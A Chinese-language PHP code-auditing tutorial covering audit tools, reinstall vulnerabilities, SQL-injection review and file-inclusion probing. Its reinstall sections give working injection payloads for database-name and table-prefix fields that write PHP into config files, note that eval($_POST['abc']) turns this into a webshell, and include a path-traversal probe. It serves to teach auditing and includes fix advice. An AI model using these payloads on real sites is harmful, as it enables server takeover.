PHP代码审计
title: PHP代码审计
审计前的准备
编辑器:
sublime text
notepad++
PHPStorm + Xdebug
⼀些其他的编辑器
审计辅助插件
Seay源代码审计系统
RIPS
正则调试器
超级加解密转换⼯具
开始之前:
1、DVWA靶场练习
2、CTF中⼀些代码审计相关的题
南邮CTF
Bugku CTF
多看看别⼈代码审计的⽂章
通读全⽂的⽅法
index⽂件,index⽂件时⼀个程序的⼊⼝⽂件。所以通常我们只要读⼀读index⽂件就可以⼤致了解整个程序的架构,运⾏的流程,包含的⽂件,建议最好先将⼏个核⼼⽬录的index⽂件都简单读⼀遍
函数集⽂件,⼀般在index⽂件中都会包含函数集⽂件,通常命名为functions,common等关键字,这些⽂件都是⼀些公共的函数,提供给其他⽂件统⼀调⽤
配置⽂件,通常命名中包括config关键字。⾥⾯包含⼀些功能性配置选项以及数据库配置信息,还可以注意下参数值使⽤单引号还是双引号
安全过滤⽂件,⽂件过滤⽂件对我们做代码审计⾄关重要,关系到我们挖掘到的可以点能不能利⽤,通常命名中有filter,safe,check 等关键字,这类⽂件主要是对参数进⾏过滤。
敏感函数回溯参数过程
直接使⽤⼯具可以扫出⼀些敏感的参数
例如,通过select、insert 结合from和where等关键字,判定是⼀条SQL语句,然后通过对字符串的识别,判断这个SQL语句⾥边的参数有没有拼接或者单引号过滤
HTTP头⾥⾯的HTTP_CLIENT、HTTP_X_FORWARDFOR等获取到的IP地址,经常没有过滤就直接凭借到SQL语句中,并且因为实在$_SERVER变量中,不受GPC的影响,因此可以查HTTP_CLIENT、HTTP_X_FORWARDFOR关键字来快速寻漏洞
定向功能的分析:
程序初始安装
站点信息泄露
⽂件上传
⽂件管理
登录认证
数据库备份恢复
回密码
验证码
代码审计之重装漏洞
漏洞复现
访问
提交数据库信息,⽤brupsuite抓包。(为了便于演⽰,我将header()语句注释了)
POST /install/install.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: 127.0.0.1/install/install.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close
Cookie: PHPSESSID=jfjge50g22ieqm7ib5ia1quf73
Upgrade-Insecure-Requests: 1
dbhost=localhost&dbuser=root&dbpass=root&dbname=vauditdemo&Submit=%E5%AE%89%E8%A3%9D
将dbname修改为:
testdb;-- -";phpinfo();//
提交。
跳转到index之后可以看到phpinfo()信息
复现成功
代码分析
平台的install.php安装页⾯, 安装之前会有⼀段验证是否已经安装的判断语句:
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
header( "Location: ../index.php" );
}
判断安装⽣成的lock⽂件是否存在,如果存在,就重定向到index.php
但是这⾥存在⼀个错误,当页⾯重定向到index之后,并没有执⾏exit语句来结束进程,所以install.php的进程⼀直存在。这时如果⽤brupsuite抓包,提交的数据会被判断语句之后的代码所执⾏,就会导致重装漏洞。
判断语句后,获取了⼀些环境信息之后就通过POST⽅法获取数据库的信息。php文件下载源码
(代码经过省略)
if ( $_POST ) {
...
$dbhost = $_POST["dbhost"];
$dbuser = $_POST["dbuser"];
$dbpass = $_POST["dbpass"];
$dbname = $_POST["dbname"];
...
mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );
$str_tmp="<?php\r\n";
$str_end="?>";
$str_tmp.="\r\n";
$str_tmp.="error_reporting(0);\r\n";
$str_tmp.="\r\n";
$str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
$str_tmp.="\r\n";
$str_tmp.="include_once('../sys/lib.php');\r\n";
$str_tmp.="\r\n";
$str_tmp.="\$host=\"$dbhost\"; \r\n";
$str_tmp.="\$username=\"$dbuser\"; \r\n";
$str_tmp.="\$password=\"$dbpass\"; \r\n";
$str_tmp.="\$database=\"$dbname\"; \r\n";
$str_tmp.="\r\n";
$str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
$str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
$str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
$str_tmp.="if (!\$conn)\r\n";
$str_tmp.="{\r\n";
$str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
$str_tmp.="\texit;\r\n";
$str_tmp.="\r\n";
$str_tmp.="session_start();\r\n";
$str_tmp.="\r\n";
$str_tmp.=$str_end;
$fp=fopen( "../sys/config.php", "w" );
fwrite( $fp, $str_tmp );
fclose( $fp );
可以看到,页⾯通过所提交的dbhost, dbuser, dbpass, dbname来获取数据库基本信息。
在判断数据库信息是否符合安装条件之后,页⾯将⼀段判断是否已经安装的php脚本写⼊到config.php⾥。
问题出在其中的⼀条语句:
$str_tmp.="\$database=\"$dbname\"; \r\n";
可知,dbname是可控的。
当我们将dbname设置为:
testdb;-- -";phpinfo();//
-- - 是为了注释掉后⾯的sql语句
"; 闭合php语句
// 注释掉后⾯的php语句
config.php⾥的语句就会变成:
$database="testdb; -- -"; phpinfo();//";
也就会执⾏phpinfo(), 当我们把phpinfo()修改为:eval($_POST['abc'])就可以直接getshell;
zswin博客重装漏洞 getshell 复现
在百度上直接搜到的⼀个重装漏洞,博客系统有点⽼了,但是拿来学习还是不错的。
参考:
漏洞复现
在已经安装好的博客,直接访问:
不会跳转到主页,直接进⼊安装向导页⾯。
其他地⽅正常填写,将数据表前缀改为:
zs_');phpinfo();//
点击下⼀步,数据库就可以创建成功
之后再访问:
可以看到phpinfo(),把phpinfo()修改为:eval($_POST['abc'])就可以直接getshell;
漏洞复现成功
代码分析
存在漏洞的页⾯:
install/install/controller/indexcontroller.class.php
页⾯开头存在⼀个index()⽅法⽤于判断是否安装成功:
public function index(){
if (is_file('./Data/install.lock')) {
header('Location: ./index.php');
exit;
}
根据参考⽂章的说法:
但是这个不是类的初始化函数所以不影响其他⽅法的使⽤。
我在页⾯当中没有到引⽤index()⽅法的语句,应该是ThinkPHP框架的⼀些固定⽤法吧。这个问题等后⾯学习了ThinkPHP框架后再说。
public function finish_done() {
...
$auth = build_auth_key();
$config_data['DB_TYPE'] = $temp_info['db_type'];
$config_data['DB_HOST'] = $temp_info['db_host'];
$config_data['DB_NAME'] = $temp_info['db_name'];
$config_data['DB_USER'] = $temp_info['db_user'];
$config_data['DB_PWD'] = $temp_info['db_pass'];
$config_data['DB_PORT'] = $temp_info['db_port'];
$config_data['DB_PREFIX'] = $<strong>temp_info</strong>['db_prefix'];
$db = Db::getInstance($config_data);
$config_data['WEB_MD5'] = $auth;
$conf = write_config($config_data);
...
}
可知,在finish_done()⽅法中,有⼀个函数为write_config(),所传递的参数为数据库配置信息。
⽽这些数据配置信息,都没有经过过滤或检查。都是直接接收POST数据来进⾏传递的。
跟踪这个函数⾄:install/install/common/function.php
function write_config($config, $auth){
if(is_array($config)){
//读取配置内容
$conf = file_get_contents(MODULE_PATH . 'sqldata/conf.tpl');
$user = file_get_contents(MODULE_PATH . 'sqldata/user.tpl');
//替换配置项
foreach ($config as $name => $value) {
$conf = str_replace("[{$name}]", $value, $conf);
$user = str_replace("[{$name}]", $value, $user);
}
//写⼊应⽤配置⽂件
file_put_contents('./App/Common/Conf/config.php', $conf);
file_put_contents('./App/User/Conf/config.php', $user);
return '';
}
}
可知,函数的功能是读取sqldata⽬录下的两个配置⽂件,将传递进来的数据库配置信息分别写⼊到两个config.php⾥去。
先看⼀下user.sql:
<?php
/**
* UCenter客户端配置⽂件
* 注意:该配置⽂件请使⽤常量⽅式定义
*/
define('UC_APP_ID', 1); //应⽤ID
define('UC_API_TYPE', 'Model'); //可选值 Model / Service
define('UC_AUTH_KEY', '[WEB_MD5]'); //加密KEY
define('UC_DB_DSN', '[DB_TYPE]://[DB_USER]:[DB_PWD]@[DB_HOST]:[DB_PORT]/[DB_NAME]'); // 数据库连接,使⽤Model⽅式调⽤API必须配置此项define('UC_TABLE_PREFIX', '[DB_PREFIX]'); // 数据表前缀,使⽤Model⽅式调⽤API必须配置此项
?>
除了DB_NAME, DB_PREFIX可以修改以外,修改其他的数据配置会导致数据库创建失败。
所以,这⾥可以利⽤的就存在两处
将DB_NAME赋值为:
zswin1]');phpinfo();//
或者将DB_PREFIX赋值为:
zs_');phpinfo();//
都可以利⽤成功。
/App/User/Conf/config.php就会变成:
Copydefine('UC_DB_DSN', 'mysql://root:root@127.0.0.1:3306/zswin1]');phpinfo();//'); // 数据库连接,使⽤Model⽅式调⽤API必须配置此项
//或者
sqldata/conf.tpl也是⼀样的步骤,只不过user.tql可以更容易闭合语句。
重装漏洞修复建议
正确处理lock⽂件【lock⽂件⽤于检查是否已经安装完成】
判断安装完成后要退出【有⼀个exit语句,退出进程】
在安装的每⼀步都需要验证【在安装过程的每⼀个页⾯都需要验证】
对所有输⼊点进⾏过滤
代码审计之sql注⼊
防⽌SQL注⼊
数据处理函数
mysqli_real_escape_string(connection,escapestring):转义在SQL语句中使⽤的字符串中的特殊字符。escapestring要转义的字符串。
编码的字符是NUL(ASCLL 0)、\n 、\r 、 ' 、" 和 Control-Z
addslashes()函数返回在预定义字符之前添加反斜杠则字符串。返回在预定义字符之前添加反斜杠的字符串。预定义字符是: ' " \ NULL
stripslashes()与addslashed()函数相反
preg_match()搜索subject 与pattern给定的正则表达式的⼀个匹配
SQL注⼊漏洞审计流程
在seay中开启查询⽇志(审计插件中的MySQL监控)
查系统的输⼊点,尝试输⼊⼀些内容并执⾏
跟随输⼊信息,判断输⼊的内容是否被过滤,是否可利⽤
构造注⼊语句进⾏测试
寻输⼊点的⽅法:
1、表单提交,主要是POST请求和GET请求
2、URL参数提交,主要是GET请求参数
3、Cookie参数提交
4、HTTP请求头部的⼀些可修改的值,⽐如Referer、User_Agent等。
5、⼀些边缘的输⼊点,⽐如.jpg⽂件的⼀些⽂件信息等
thinkphp是⼀个基于MVC模式的框架
MVC模式:软件⼯程中的⼀种软件架构,把软件系统分为了三个部分:模型(M)【处理从视图部分所输⼊的数据】、视图(V)、控制器(C)
什么是模型-视图-控制器(MVC)
a、模型(Model)
模型是应⽤程序的主体部分。模型表⽰业务数据,或者业务逻辑.
b、视图(View)
视图是应⽤程序中⽤户界⾯相关的部分,是⽤户看到并与之交互的界⾯。
c、控制器(controller)
控制器⼯作就是根据⽤户的输⼊,控制⽤户界⾯数据显⽰和更新model对象状态。
PHP代码审计之⽂件包含
⼿⼯探测
1、在路径中添加abc/../ 看是否可以回溯
2、修改为127.0.0.1/download.php?filename=abc/../xxx.doc
如果两次下载⽂件相同,则继续下⾯的测试
3、确定是否可以下载任意⽂件
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论